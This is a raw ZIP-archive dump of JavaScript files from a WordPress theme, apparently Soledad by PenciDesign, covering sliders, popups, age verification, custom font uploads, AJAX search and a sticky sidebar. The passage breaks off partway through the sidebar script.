        var activeFileUploadContext = jQuery(this).parent();
        var relid = jQuery(this).attr('rel-id');

        event.preventDefault();

        jQuery('#' + relid).val('');
        jQuery(this).prev().fadeIn('slow');
        jQuery('.penci-opts-screenshot',activeFileUploadContext).fadeOut('slow');
        jQuery(this).fadeOut('slow');
    });
    
    
    //only show parallax when using bg image
    function toggleParallaxOption(){
    	if(jQuery('#_nectar_header_bg').length > 0){
	    	if(jQuery('#_nectar_header_bg').attr('value').length > 0 || jQuery('#_nectar_header_bg_color').length > 0 && jQuery('#_nectar_header_bg_color').attr('value').length > 0){
	    		jQuery('#_nectar_header_parallax').parents('tr').show();
	    	} else {
	    		jQuery('#_nectar_header_parallax').parents('tr').hide();
	    		jQuery('#_nectar_header_parallax').prop('checked', false);
	    	}
    	}
    }
	
});
PK     N\j        js/field_color.jsnu [        jQuery(document).ready(function ($) {
    $('input.popup-colorpicker').wpColorPicker({
    	palettes: ['#bf9f5a', '#f6653c', '#2ac4ea', '#ae81f9', '#FD544F', '#78cd6e']
    });
});
PK     N\7 ,   ,     js/jquery.range-min.jsnu [        !function($,t,i,s){"use strict";var o=function(){return this.init.apply(this,arguments)};o.prototype={defaults:{onstatechange:function(){},ondragend:function(){},onbarclicked:function(){},isRange:!1,showLabels:!0,showScale:!0,step:1,format:"%s",theme:"theme-green",width:300,disable:!1,snap:!1},template:'<div class="slider-container">			<div class="back-bar">                <div class="selected-bar"></div>                <div class="pointer low"></div><div class="pointer-label low">123456</div>                <div class="pointer high"></div><div class="pointer-label high">456789</div>                <div class="clickable-dummy"></div>            </div>            <div class="scale"></div>		</div>',init:function(t,i){this.options=$.extend({},this.defaults,i),this.inputNode=$(t),this.options.value=this.inputNode.val()||(this.options.isRange?this.options.from+","+this.options.from:""+this.options.from),this.domNode=$(this.template),this.domNode.addClass(this.options.theme),this.inputNode.after(this.domNode),this.domNode.on("change",this.onChange),this.pointers=$(".pointer",this.domNode),this.lowPointer=this.pointers.first(),this.highPointer=this.pointers.last(),this.labels=$(".pointer-label",this.domNode),this.lowLabel=this.labels.first(),this.highLabel=this.labels.last(),this.scale=$(".scale",this.domNode),this.bar=$(".selected-bar",this.domNode),this.clickableBar=this.domNode.find(".clickable-dummy"),this.interval=this.options.to-this.options.from,this.render()},render:function(){return 0!==this.inputNode.width()||this.options.width?(this.options.width=this.options.width||this.inputNode.width(),this.domNode.width(this.options.width),this.inputNode.hide(),this.isSingle()&&(this.lowPointer.hide(),this.lowLabel.hide()),this.options.showLabels||this.labels.hide(),this.attachEvents(),this.options.showScale&&this.renderScale(),void this.setValue(this.options.value)):void console.log("jRange : no width found, returning")},isSingle:function(){return"number"==typeof this.options.value?!0:-1===this.options.value.indexOf(",")&&!this.options.isRange},attachEvents:function(){this.clickableBar.click($.proxy(this.barClicked,this)),this.pointers.on("mousedown touchstart",$.proxy(this.onDragStart,this)),this.pointers.bind("dragstart",function(t){t.preventDefault()})},onDragStart:function(t){if(!(this.options.disable||"mousedown"===t.type&&1!==t.which)){t.stopPropagation(),t.preventDefault();var s=$(t.target);this.pointers.removeClass("last-active"),s.addClass("focused last-active"),this[(s.hasClass("low")?"low":"high")+"Label"].addClass("focused"),$(i).on("mousemove.slider touchmove.slider",$.proxy(this.onDrag,this,s)),$(i).on("mouseup.slider touchend.slider touchcancel.slider",$.proxy(this.onDragEnd,this))}},onDrag:function(t,i){i.stopPropagation(),i.preventDefault(),i.originalEvent.touches&&i.originalEvent.touches.length?i=i.originalEvent.touches[0]:i.originalEvent.changedTouches&&i.originalEvent.changedTouches.length&&(i=i.originalEvent.changedTouches[0]);var s=i.clientX-this.domNode.offset().left;this.domNode.trigger("change",[this,t,s])},onDragEnd:function(t){this.pointers.removeClass("focused").trigger("rangeslideend"),this.labels.removeClass("focused"),$(i).off(".slider"),this.options.ondragend.call(this,this.options.value)},barClicked:function(t){if(!this.options.disable){var i=t.pageX-this.clickableBar.offset().left;if(this.isSingle())this.setPosition(this.pointers.last(),i,!0,!0);else{var s=Math.abs(parseFloat(this.pointers.first().css("left"),10)),o=this.pointers.first().width()/2,e=Math.abs(parseFloat(this.pointers.last().css("left"),10)),n=this.pointers.first().width()/2,a=Math.abs(s-i+o),h=Math.abs(e-i+n),l;l=a==h?s>i?this.pointers.first():this.pointers.last():h>a?this.pointers.first():this.pointers.last(),this.setPosition(l,i,!0,!0)}this.options.onbarclicked.call(this,this.options.value)}},onChange:function(t,i,s,o){var e,n;e=0,n=i.domNode.width(),i.isSingle()||(e=s.hasClass("high")?parseFloat(i.lowPointer.css("left"))+i.lowPointer.width()/2:0,n=s.hasClass("low")?parseFloat(i.highPointer.css("left"))+i.highPointer.width()/2:i.domNode.width());var a=Math.min(Math.max(o,e),n);i.setPosition(s,a,!0)},setPosition:function(t,i,s,o){var e,n,a=parseFloat(this.lowPointer.css("left")),h=parseFloat(this.highPointer.css("left"))||0,l=this.highPointer.width()/2;if(s||(i=this.prcToPx(i)),this.options.snap){var r=this.correctPositionForSnap(i);if(-1===r)return;i=r}t[0]===this.highPointer[0]?h=Math.round(i-l):a=Math.round(i-l),t[o?"animate":"css"]({left:Math.round(i-l)}),this.isSingle()?e=0:(e=a+l,n=h+l);var d=Math.round(h+l-e);this.bar[o?"animate":"css"]({width:Math.abs(d),left:d>0?e:e+d}),this.showPointerValue(t,i,o),this.isReadonly()},correctPositionForSnap:function(t){var i=this.positionToValue(t)-this.options.from,s=this.options.width/(this.interval/this.options.step),o=i/this.options.step*s;return o+s/2>=t&&t>=o-s/2?o:-1},setValue:function(t){var i=t.toString().split(",");i[0]=Math.min(Math.max(i[0],this.options.from),this.options.to)+"",i.length>1&&(i[1]=Math.min(Math.max(i[1],this.options.from),this.options.to)+""),this.options.value=t;var s=this.valuesToPrc(2===i.length?i:[0,i[0]]);this.isSingle()?this.setPosition(this.highPointer,s[1]):(this.setPosition(this.lowPointer,s[0]),this.setPosition(this.highPointer,s[1]))},renderScale:function(){for(var t=this.options.scale||[this.options.from,this.options.to],i=Math.round(100/(t.length-1)*10)/10,s="",o=0;o<t.length;o++)s+='<span style="left: '+o*i+'%">'+("|"!=t[o]?"<ins>"+t[o]+"</ins>":"")+"</span>";this.scale.html(s),$("ins",this.scale).each(function(){$(this).css({marginLeft:-$(this).outerWidth()/2})})},getBarWidth:function(){var t=this.options.value.split(",");return t.length>1?parseFloat(t[1])-parseFloat(t[0]):parseFloat(t[0])},showPointerValue:function(t,i,o){var e=$(".pointer-label",this.domNode)[t.hasClass("low")?"first":"last"](),n,a=this.positionToValue(i);if($.isFunction(this.options.format)){var h=this.isSingle()?s:t.hasClass("low")?"low":"high";n=this.options.format(a,h)}else n=this.options.format.replace("%s",a);var l=e.html(n).width(),r=i-l/2;r=Math.min(Math.max(r,0),this.options.width-l),e[o?"animate":"css"]({left:r}),this.setInputValue(t,a)},valuesToPrc:function(t){var i=100*(parseFloat(t[0])-parseFloat(this.options.from))/this.interval,s=100*(parseFloat(t[1])-parseFloat(this.options.from))/this.interval;return[i,s]},prcToPx:function(t){return this.domNode.width()*t/100},isDecimal:function(){return-1!==(this.options.value+this.options.from+this.options.to).indexOf(".")},positionToValue:function(t){var i=t/this.domNode.width()*this.interval;if(i=parseFloat(i,10)+parseFloat(this.options.from,10),this.isDecimal()){var s=Math.round(Math.round(i/this.options.step)*this.options.step*100)/100;if(0!==s)for(s=""+s,-1===s.indexOf(".")&&(s+=".");s.length-s.indexOf(".")<3;)s+="0";else s="0.00";return s}return Math.round(i/this.options.step)*this.options.step},setInputValue:function(t,i){if(this.isSingle())this.options.value=i.toString();else{var s=this.options.value.split(",");t.hasClass("low")?this.options.value=i+","+s[1]:this.options.value=s[0]+","+i}this.inputNode.val()!==this.options.value&&(this.inputNode.val(this.options.value).trigger("change"),this.options.onstatechange.call(this,this.options.value))},getValue:function(){return this.options.value},getOptions:function(){return this.options},getRange:function(){return this.options.from+","+this.options.to},isReadonly:function(){this.domNode.toggleClass("slider-readonly",this.options.disable)},disable:function(){this.options.disable=!0,this.isReadonly()},enable:function(){this.options.disable=!1,this.isReadonly()},toggleDisable:function(){this.options.disable=!this.options.disable,this.isReadonly()},updateRange:function(t,i){var s=t.toString().split(",");this.interval=parseInt(s[1])-parseInt(s[0]),i?this.setValue(i):this.setValue(this.getValue())}};var e="jRange";$.fn[e]=function(i){var s=arguments,n;return this.each(function(){var a=$(this),h=$.data(this,"plugin_"+e),l="object"==typeof i&&i;h||(a.data("plugin_"+e,h=new o(this,l)),$(t).resize(function(){h.setValue(h.getValue())})),"string"==typeof i&&(n=h[i].apply(h,Array.prototype.slice.call(s,1)))}),n||this}}(jQuery,window,document);PK     N\b r  r    js/penci-popup.jsnu [        (function($) {
  'use strict';
  var PENCI = PENCI || {};
  PENCI.promoPopup = function() {
    
    if ($('body').hasClass('pc-age-verify') &&
        Cookies.get('penci_age_verify') !== 'confirmed') {
      return false;
    }
    
    var promo_version = penci_popup_settings.promo_version,
        shown = false,
        pages = Cookies.get('penci_shown_pages'),
        popup_event = penci_popup_settings.popup_event,
        
        showPopup = function() {
          
        
          
          $.magnificPopup.open({
            items: {
              src: '.penci-popup-content',
            },
            type: 'inline',
            removalDelay: 500, //delay removal by X to allow out-animation
            tClose: true,
            tLoading: false,
            callbacks: {
              beforeOpen: function() {
                this.st.mainClass = 'mfp-ani-wrap penci-promo-popup-wrapper';
              },
              close: function() {
              
                if ('section' === popup_event) {
                  sessionStorage.setItem('penci_popup_' + promo_version,
                      'shown');
                } else if ('time' === popup_event) {
                  Cookies.set('penci_popup_' + promo_version, 'shown', {
                    expires: parseInt(penci_popup_settings.popup_delay),
                    path: '/',
                  });
                }
              },
            },
          });
        };
    
    if (!pages) {
      pages = 0;
    }
    
    if (pages < penci_popup_settings.popup_pages) {
      pages++;
      
      Cookies.set('penci_shown_pages', pages, {
        expires: penci_popup_settings.popup_delay,
        path: '/',
      });
      
      return false;
    }
    
    if ('all_pages' === popup_event) {
      showPopup();
    } else if (('section' !== popup_event &&
            Cookies.get('penci_popup_' + promo_version) !== 'shown') ||
        ('section' === popup_event &&
            sessionStorage.getItem('penci_popup_' + promo_version) !==
            'shown')) {
      showPopup();
    }
  };
  
  $(document).ready(function() {
    PENCI.promoPopup();
  });
})(jQuery);
PK     N\2t      js/jquery.toc.jsnu [        /*
 * Table of Contents jQuery Plugin - jquery.toc
 *
 * Copyright 2013-2016 Nikhil Dabas
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
 * in compliance with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under the License
 * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
 * or implied.  See the License for the specific language governing permissions and limitations
 * under the License.
 */

(function ($) {
    "use strict";

    // Builds a list with the table of contents in the current selector.
    // options:
    //   content: where to look for headings
    //   headings: string with a comma-separated list of selectors to be used as headings, ordered
    //   by their relative hierarchy level
    var toc = function (options) {
        return this.each(function () {
            var root = $(this),
                data = root.data(),
                thisOptions,
                stack = [root], // The upside-down stack keeps track of list elements
                listTag = this.tagName,
                currentLevel = 0,
                headingSelectors;

            // Defaults: plugin parameters override data attributes, which override our defaults
            thisOptions = $.extend(
                {content: "body", headings: "h1,h2,h3"},
                {content: data.toc || undefined, headings: data.tocHeadings || undefined},
                options
            );
            headingSelectors = thisOptions.headings.split(",");

            // Set up some automatic IDs if we do not already have them
            $(thisOptions.content).find(thisOptions.headings).attr("id", function (index, attr) {
                // In HTML5, the id attribute must be at least one character long and must not
                // contain any space characters.
                //
				// We just use the HTML5 spec now because all browsers work fine with it.
                // https://mathiasbynens.be/notes/html5-id-class
                var generateUniqueId = function (text) {
                    // Generate a valid ID. Spaces are replaced with underscores. We also check if
                    // the ID already exists in the document. If so, we append "_1", "_2", etc.
                    // until we find an unused ID.

                    if (text.length === 0) {
                        text = "?";
                    }

                    var baseId = text.replace(/\s+/g, "_"), suffix = "", count = 1;

                    while (document.getElementById(baseId + suffix) !== null) {
                        suffix = "_" + count++;
                    }

                    return baseId + suffix;
                };

                return attr || generateUniqueId($(this).text());
            }).each(function () {
                // What level is the current heading?
                var elem = $(this), level = $.map(headingSelectors, function (selector, index) {
                    return elem.is(selector) ? index : undefined;
                })[0];

                if (level > currentLevel) {
                    // If the heading is at a deeper level than where we are, start a new nested
                    // list, but only if we already have some list items in the parent. If we do
                    // not, that means that we're skipping levels, so we can just add new list items
                    // at the current level.
                    // In the upside-down stack, unshift = push, and stack[0] = the top.
                    var parentItem = stack[0].children("li:last")[0];
                    if (parentItem) {
                        stack.unshift($("<" + listTag + "/>").appendTo(parentItem));
                    }
                } else {
                    // Truncate the stack to the current level by chopping off the 'top' of the
                    // stack. We also need to preserve at least one element in the stack - that is
                    // the containing element.
                    stack.splice(0, Math.min(currentLevel - level, Math.max(stack.length - 1, 0)));
                }

                // Add the list item
                $("<li/>").appendTo(stack[0]).append(
                    $("<a/>").text(elem.text()).attr("href", "#" + elem.attr("id"))
                );

                currentLevel = level;
            });
        });
    }, old = $.fn.toc;

    $.fn.toc = toc;

    $.fn.toc.noConflict = function () {
        $.fn.toc = old;
        return this;
    };

    // Data API
    $(function () {
        toc.call($("[data-toc]"));
    });
}(window.jQuery));
PK     N\(  (    js/custom-fonts.min.jsnu [        function soledadCustomFontsUpload() {
	for (
		var e = document.querySelectorAll(".soledad-font-variant .upload"),
			t = [],
			a = 0;
		a < e.length;
		a++
	)
		e[a].classList.contains("initialized") ||
			(e[a].classList.add("initialized"),
			e[a].addEventListener("click", n));
	var r = document.querySelectorAll(".soledad-font-variant .remove");
	for (a = 0; a < r.length; a++)
		r[a].addEventListener("click", function (e) {
			e.preventDefault(),
				e.target.classList.add("hide"),
				e.target.parentNode
					.querySelector(".upload")
					.classList.remove("hide"),
				(e.target.parentNode.querySelector("[name=font_url]").value =
					""),
				(e.target.parentNode.querySelector("[name=font_id]").value =
					"");
		});
	function n(e) {
		e.preventDefault();
		var a = e.target.id,
			r = e.target.dataset.mimeType,
			n = e.target.dataset.extension,
			o = e.target.dataset.id;
		if (t[a]) t[a].open();
		else {
			t[a] = wp.media.frames.file_frame = wp.media({
				title: e.target.dataset.title,
				library: { type: r },
				multiple: !1,
			});
			var i =
				_wpPluploadSettings.defaults.filters.mime_types[0].extensions;
			t[a].on("ready", function () {
				_wpPluploadSettings.defaults.filters.mime_types[0].extensions =
					n;
			}),
				t[a].on("close", function () {
					_wpPluploadSettings.defaults.filters.mime_types[0].extensions =
						i;
				}),
				t[a].on("insert select", function () {
					var r = t[a].state().get("selection").first().toJSON();
					(e.target.parentNode.querySelector(
						"[name=font_url]"
					).value = r.url),
						(e.target.parentNode.querySelector(
							"[name=font_id]"
						).value = r.id),
						e.target.classList.add("hide"),
						e.target.parentNode
							.querySelector(".remove")
							.classList.remove("hide");
				}),
				t[a].on("open", function () {
					o &&
						t[a]
							.state()
							.get("selection")
							.add(wp.media.attachment(o));
				}),
				t[a].open(),
				t[a].uploader.uploader.param("soledadCustomFontsUpload", !0);
		}
	}
}
function soledadCustomSaveFontFaces() {
	var e = document.querySelector("form#post");
	if (e) {
		var t = !0;
		e.addEventListener("submit", function (a) {
			if (t) {
				a.preventDefault();
				for (
					var r = a.target.querySelectorAll(".soledad-font-variant"),
						n = {},
						o = 0;
					o < r.length;
					o++
				)
					for (
						var i = r[o],
							s = i.querySelector("[name=font_weight]").value,
							l = i.querySelector("[name=font_style]").value,
							c = i.querySelectorAll(".font-face"),
							u = 0;
						u < c.length;
						u++
					) {
						var d = c[u],
							f = d.querySelector("[name=font_id]").value,
							m = d
								.querySelector("[name=font_url]")
								.value.split(".")
								.pop();
						f &&
							m &&
							((i = s + l),
							n.hasOwnProperty(i) || (n[i] = {}),
							(n[i][m] = parseInt(f)));
					}
				var v = document.getElementById("post_ID"),
					p = v ? v.value : 0,
					y = e.querySelector(
						"#publishing-action input[type=submit]"
					);
				p
					? window.wp.ajax.send("soledad_save_font_faces", {
							data: {
								nonce: PENCIFONTS.nonce,
								post_id: p,
								font_faces: JSON.stringify(n),
							},
							success: function (e) {
								(t = !1),
									y.classList.remove("disabled"),
									y.click();
							},
							error: function (e) {
								(t = !1),
									y.classList.remove("disabled"),
									y.click();
							},
					  })
					: e.preventDefault();
			}
		});
	}
}
function soledadCustomFontsAddVariant() {
	var e = document.getElementById("soledad-custom-fonts-add-font-variant");
	e &&
		e.addEventListener("click", function (e) {
			e.preventDefault();
			var t = document.querySelectorAll(".soledad-font-variant"),
				a = t[t.length - 1],
				r = !!a && a.cloneNode(!0);
			r &&
				((r.querySelector("[name=font_weight]").selectedIndex = 3),
				(r.querySelector("[name=font_style]").selectedIndex = 0),
				r.querySelectorAll("input").forEach(function (e) {
					e.value = "";
				}),
				r.querySelectorAll(".initialized").forEach(function (e) {
					e.classList.remove("initialized");
				}),
				r.querySelector("style") && r.querySelector("style").remove(),
				r.querySelector(".pangram").removeAttribute("style"),
				r.querySelectorAll("button").forEach(function (e) {
					e.classList.contains("upload")
						? (e.classList.remove("hide"),
						  (e.id = Math.random()
								.toString(36)
								.replace(/[^a-z]+/g, "")
								.substr(0, 12)))
						: e.classList.contains("remove") &&
						  e.classList.add("hide");
				}),
				a.after(r),
				soledadCustomFontsUpload(),
				soledadCustomFontsToggleEdit(),
				soledadCustomFontsDeleteVariant());
		});
}
function soledadCustomFontsToggleEdit() {
	for (
		var e = document.querySelectorAll(
				"#soledad-font-metabox .actions .edit"
			),
			t = 0;
		t < e.length;
		t++
	)
		e[t].classList.contains("initialized") ||
			(e[t].classList.add("initialized"),
			e[t].addEventListener("click", function (e) {
				e.preventDefault();
				var t = e.target.innerText;
				(e.target.innerText = e.target.dataset.label),
					(e.target.dataset.label = t),
					e.target
						.closest(".soledad-font-variant")
						.querySelector(".font-faces")
						.classList.toggle("hide");
			}));
}
function soledadCustomFontsDeleteVariant() {
	for (
		var e = document.querySelectorAll(
				"#soledad-font-metabox .actions .delete"
			),
			t = 0;
		t < e.length;
		t++
	)
		e[t].classList.contains("initialized") ||
			(e[t].classList.add("initialized"),
			e[t].addEventListener("click", function (e) {
				var t = document.querySelectorAll(".soledad-font-variant");
				if ((e.preventDefault(), t.length > 1))
					e.target.closest(".soledad-font-variant").remove();
				else {
					var a = t[0];
					(a.querySelector("[name=font_weight]").value = 400),
						(a.querySelector("[name=font_style]").value = "");
					for (
						var r = a.querySelectorAll("input"), n = 0;
						n < r.length;
						n++
					)
						r[n].value = "";
					var o = a.querySelector("style");
					o && o.remove();
					var i = a.querySelector(".pangram");
					i && i.removeAttribute("style");
				}
			}));
}
document.addEventListener("DOMContentLoaded", function (e) {
	soledadCustomFontsUpload(),
		soledadCustomSaveFontFaces(),
		soledadCustomFontsAddVariant(),
		soledadCustomFontsToggleEdit(),
		soledadCustomFontsDeleteVariant();
});
PK     N\Ohջ      js/age-verify.jsnu [        /* global soledad_settings */
(function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.ageVerify = function () {
        if (Cookies.get('penci_age_verify') === 'confirmed') {
            return;
        }

        $.magnificPopup.open({
            items: {
                src: '.penci-age-verify'
            },
            type: 'inline',
            closeOnBgClick: false,
            closeBtnInside: false,
            showCloseBtn: false,
            enableEscapeKey: false,
            removalDelay: 500,
            tClose: true,
            tLoading: false,
            callbacks: {
                beforeOpen: function () {
                    this.st.mainClass = 'mfp-ani-wrap penci-promo-popup-wrapper';
                }
            }
        });

        $('.penci-age-verify-allowed').on('click', function () {
            Cookies.set('penci_age_verify', 'confirmed', {
                expires: parseInt(penci_age_settings.age_verify_expires),
                path: '/'
            });

            $.magnificPopup.close();
        });

        $('.penci-age-verify-forbidden').on('click', function () {
            $('.penci-age-verify').addClass('penci-forbidden');
        });
    };

    $(document).ready(function () {
        PENCI.ageVerify();
    });
})(jQuery);
PK     N\Jޟ"  "    js/ajax-search.jsnu [        /* Debounce */
(function (b, c) {
    var $ = b.jQuery || b.Cowboy || (b.Cowboy = {}), a;
    $.throttle = a = function (e, f, j, i) {
        var h, d = 0;
        if (typeof f !== "boolean") {
            i = j;
            j = f;
            f = c
        }

        function g() {
            var o = this, m = +new Date() - d, n = arguments;

            function l() {
                d = +new Date();
                j.apply(o, n)
            }

            function k() {
                h = c
            }

            if (i && !h) {
                l()
            }
            h && clearTimeout(h);
            if (i === c && m > e) {
                l()
            } else {
                if (f !== true) {
                    h = setTimeout(i ? k : l, i === c ? e - m : e)
                }
            }
        }

        if ($.guid) {
            g.guid = j.guid = j.guid || $.guid++
        }
        return g
    };
    $.debounce = function (d, e, f) {
        return f === c ? a(d, e, false) : a(d, f, e !== false)
    }
})(this);
(function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.ajaxsearch = function () {
        var escapeRegExChars = function (value) {
            return value.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&');
        };

        $('form.penci-ajax-search').each(
            function () {
                var $this = $(this),
                    number = parseInt(penci_ajsr.maxitems),
                    thumbnail = parseInt(penci_ajsr.thumbnail),
                    date = parseInt(penci_ajsr.date),
                    $results = $this.parent().find('.penci-dropdown-results > .penci-search-results-wrapper');


                if ($this.data('count')) {
                    number = parseInt($this.data('count'));
                }

                if ($this.data('thumbnail')) {
                    thumbnail = parseInt($this.data('thumbnail'));
                }

                if ($('body').find('.header-search-style-showup').length) {
                    number = 3;
                }

                if ($('body').find('.header-search-style-default').length) {
                    number = 8;
                }

                if ($('body').find('.header-search-style-overlay').length) {
                    number = 6;
                }

                if (penci_ajsr.citems && penci_ajsr.maxitems) {
                    number = parseInt(penci_ajsr.maxitems);
                }

                $results.on(
                    'click',
                    '.view-all-results',
                    function () {
                        $this.submit();
                    }
                );

                $this.find('[type="text"]').on(
                    'focus keyup',
                    $.debounce(200, function () {
                            var $input = $(this),
                                $svalue = $input.val(),
                                data = {
                                    action: 'penci_ajax_search',
                                    number: number,
                                    nonce: penci_ajsr.nonce,
                                    query: $svalue,
                                };

                            if ($svalue.length < 1) {
                                return;
                            }

                            $.ajax({
                                type: "GET",
                                dataType: "html",
                                url: penci_ajsr.ajaxUrl,
                                data: data,
                                beforeSend: function () {
                                    $this.addClass('search-loading');
                                    $this.closest('.show-search').addClass('pcajx-search-loading');
                                    $this.closest('.penci-search-form').addClass('pcajx-search-open');
                                },
                                success: function (data) {
                                    $results.empty();
                                    $results.append('<div class="autocomplete-suggestions"></div>');
                                    var returnValue = '';

                                    data = JSON.parse(data);

                                    $.each(data.suggestions, function (index, suggestion) {

                                        returnValue += '<div class="autocomplete-suggestion" data-index="' + index + '">';

                                        if (thumbnail && suggestion.thumbnail) {
                                            returnValue += ' <div class="suggestion-thumb">' + suggestion.thumbnail + '</div>';
                                        }

                                        if (suggestion.value) {
                                            returnValue += ' <div class="suggestion-content reset-last-child">';
                                            returnValue += '<h4 class="penci-post-title"><a title="' + suggestion.title + '" href="' + suggestion.permalink + '">' + suggestion.value + '</a></h4>';
                                        }

                                        if (date && suggestion.date) {
                                            returnValue += ' <span class="post-date">' + suggestion.date + '</span>';
                                        }

                                        if (suggestion.value) {
                                            returnValue += ' </div>';
                                        }

                                        if (suggestion.no_found) {
                                            returnValue = '<span class="no-found-msg">' + suggestion.value + '</span>';
                                        }

                                        returnValue += ' </div>';

                                    });

                                    $results.find('.autocomplete-suggestions').append(returnValue);


                                    $results.find('.view-all-results').remove();

                                    if ($results.find('.autocomplete-suggestion').length > 2 && penci_ajsr.allresults) {
                                        $results.append('<div class="view-all-results"><span><a href="' + data.allsearch + '">' + penci_ajsr.allresults + '</a></span></div>');
                                    }

                                    if ($results.find('.autocomplete-suggestion').length > 1) {
                                        $results.closest('.penci-search-form').addClass('has-search-items');
                                    }

                                    $results.parent().addClass('penci-opened');
                                },
                                complete: function () {
                                    $this.removeClass('search-loading');
                                    $this.closest('.show-search').removeClass('pcajx-search-loading');
                                    $(document).trigger('penci-images-loaded');
                                    var PenciLazy = new LazyLoad({
                                        elements_selector: '.penci-lazy',
                                        data_bg: 'bgset',
                                        class_loading: 'lazyloading',
                                        class_entered: 'lazyloaded',
                                        class_loaded: 'pcloaded',
                                        unobserve_entered: true
                                    });
                                }
                            });
                        }
                    ));

                $(document).on(
                    'click',
                    function (e) {
                        var target = e.target;

                        if (!$(target).is('.penci-search-form') && !$(target).parents().is('.penci-search-form') && !$(target).is('.penci-search-full-screen') && !$(target).parents().is('.penci-search-full-screen')) {
                            //$('.show-search').removeClass('active');
                            $results.parent().removeClass('penci-opened');
                            $this.closest('.penci-search-form')
                                .removeClass('has-search-items')
                                .removeClass('pcajx-search-open');
                        }
                    }
                );

                $('.penci-dropdown-results > .penci-search-results-wrapper').on(
                    'click',
                    function (e) {
                        e.stopPropagation();
                    }
                );
            }
        );
    }

    $(document).ready(function () {
        PENCI.ajaxsearch();
    });
})(jQuery);
PK     N\lw#  #    js/theia-sticky-sidebar.jsnu [        /*!
 * Theia Sticky Sidebar v1.2.2
 * https://github.com/WeCodePixels/theia-sticky-sidebar
 *
 * Glues your website's sidebars, making them permanently visible while scrolling.
 *
 * Copyright 2013-2014 WeCodePixels and other contributors
 * Released under the MIT license
 */

(function($) {
	$.fn.theiaStickySidebar = function(options) {
		var defaults = {
			'containerSelector': '',
			'additionalMarginTop': 0,
			'additionalMarginBottom': 0,
			'updateSidebarHeight': true,
			'minWidth': 0
		};
		options = $.extend(defaults, options);

		// Validate options
		options.additionalMarginTop = parseInt(options.additionalMarginTop) || 0;
		options.additionalMarginBottom = parseInt(options.additionalMarginBottom) || 0;
		
		// Add CSS
		$('head').append($('<style>.theiaStickySidebar:after {content: ""; display: table; clear: both;}</style>'));

		this.each(function() {
			var o = {};
			o.sidebar = $(this);

			// Save options
			o.options = options || {};

			// Get container
			o.container = $(o.options.containerSelector);
			if (o.container.length == 0) {
				o.container = o.sidebar.parent();
			}

			// Create sticky sidebar
			o.sidebar.parents().css('-webkit-transform', 'none'); // Fix for WebKit bug - https://code.google.com/p/chromium/issues/detail?id=20574
			o.sidebar.css({
				'position': 'relative',
				'overflow': 'visible',
				// The "box-sizing" must be set to "content-box" because we set a fixed height to this element when the sticky sidebar has a fixed position.
				'-webkit-box-sizing': 'border-box',
				'-moz-box-sizing': 'border-box',
				'box-sizing': 'border-box'
			});
			
			// Get the sticky sidebar element. If none has been found, then create one.
			o.stickySidebar = o.sidebar.children('.theiaStickySidebar');
			if (o.stickySidebar.length == 0) {				
				o.sidebar.find('script').remove(); // Remove <script> tags, otherwise they will be run again on the next line.
				o.stickySidebar = $('<div>').addClass('theiaStickySidebar').append(o.sidebar.children());				
				o.sidebar.append(o.stickySidebar);
			}

			// Get existing top and bottom margins and paddings
			o.marginTop = parseInt(o.sidebar.css('margin-top'));
			o.marginBottom = parseInt(o.sidebar.css('margin-bottom'));
			o.paddingTop = parseInt(o.sidebar.css('padding-top'));
			o.paddingBottom = parseInt(o.sidebar.css('padding-bottom'));

			// Add a temporary padding rule to check for collapsable margins.
			var collapsedTopHeight = o.stickySidebar.offset().top;
			var collapsedBottomHeight = o.stickySidebar.outerHeight();
			o.stickySidebar.css('padding-top', 1);
			o.stickySidebar.css('padding-bottom', 1);
			collapsedTopHeight -= o.stickySidebar.offset().top;
			collapsedBottomHeight = o.stickySidebar.outerHeight() - collapsedBottomHeight - collapsedTopHeight;
			if (collapsedTopHeight == 0) {
				o.stickySidebar.css('padding-top', 0);
				o.stickySidebarPaddingTop = 0;
			}
			else {
				o.stickySidebarPaddingTop = 1;
			}
			
			if (collapsedBottomHeight == 0) {
				o.stickySidebar.css('padding-bottom', 0);
				o.stickySidebarPaddingBottom = 0;
			}
			else {
				o.stickySidebarPaddingBottom = 1;
			}

			// We use this to know whether the user is scrolling up or down.
			o.previousScrollTop = null;

			// Scroll top (value) when the sidebar has fixed position.
			o.fixedScrollTop = 0;
			
			// Set sidebar to default values.
			resetSidebar();

			o.onScroll = function(o) {
				// Stop if the sidebar isn't visible.
				if (!o.stickySidebar.is(":visible")) {
					return;
				}				
				
				// Stop if the window is too small.
				if ($('body').width() < o.options.minWidth) {
					resetSidebar();
					return;					
				}

				// Stop if the sidebar width is larger than the container width (e.g. the theme is responsive and the sidebar is now below the content)
				if (o.sidebar.outerWidth(true) + 50 >  o.container.width()) {
					resetSidebar();
					return;
				}

				var scrollTop = $(document).scrollTop();
				var position = 'static';

				// If the user has scrolled down enough for the sidebar to be clipped at the top, then we can consider changing its position.
				if (scrollTop >= o.container.offset().top + (o.paddingTop + o.marginTop - o.options.additionalMarginTop)) {
					// The top and bottom offsets, used in various calculations.
					var offsetTop = o.paddingTop + o.marginTop + options.additionalMarginTop;
					var offsetBottom =  o.paddingBottom + o.marginBottom + options.additionalMarginBottom;
					
					// All top and bottom positions are relative to the window, not to the parent elemnts.
					var containerTop = o.container.offset().top;
					var containerBottom = o.container.offset().top + getClearedHeight(o.container);
					
					// The top and bottom offsets relative to the window screen top (zero) and bottom (window height).
					var windowOffsetTop = 0 + options.additionalMarginTop;
					var windowOffsetBottom;
					
					var sidebarSmallerThanWindow = (o.stickySidebar.outerHeight() + offsetTop + offsetBottom) < $(window).height();
					if (sidebarSmallerThanWindow) {
						windowOffsetBottom = windowOffsetTop + o.stickySidebar.outerHeight();
					}
					else {
						windowOffsetBottom = $(window).height() - o.marginBottom - o.paddingBottom - options.additionalMarginBottom;
					}
					
					var staticLimitTop = containerTop - scrollTop + o.paddingTop + o.marginTop;
					var staticLimitBottom = containerBottom - scrollTop - o.paddingBottom - o.marginBottom;

					var top = o.stickySidebar.offset().top - scrollTop;
					var scrollTopDiff = o.previousScrollTop - scrollTop;
					
